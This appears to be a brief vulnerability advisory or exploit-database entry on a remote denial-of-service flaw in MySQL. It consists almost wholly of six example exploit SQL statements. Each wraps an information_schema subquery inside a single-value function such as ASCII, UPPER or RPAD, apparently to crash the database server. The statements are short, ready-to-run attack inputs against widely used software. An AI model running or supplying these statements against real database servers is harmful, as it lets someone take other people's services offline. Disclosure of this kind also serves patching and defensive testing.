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MySQL Single Row SubSelect Remote Denial Of Service Vulnerability

The following example exploit statements are available:

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol');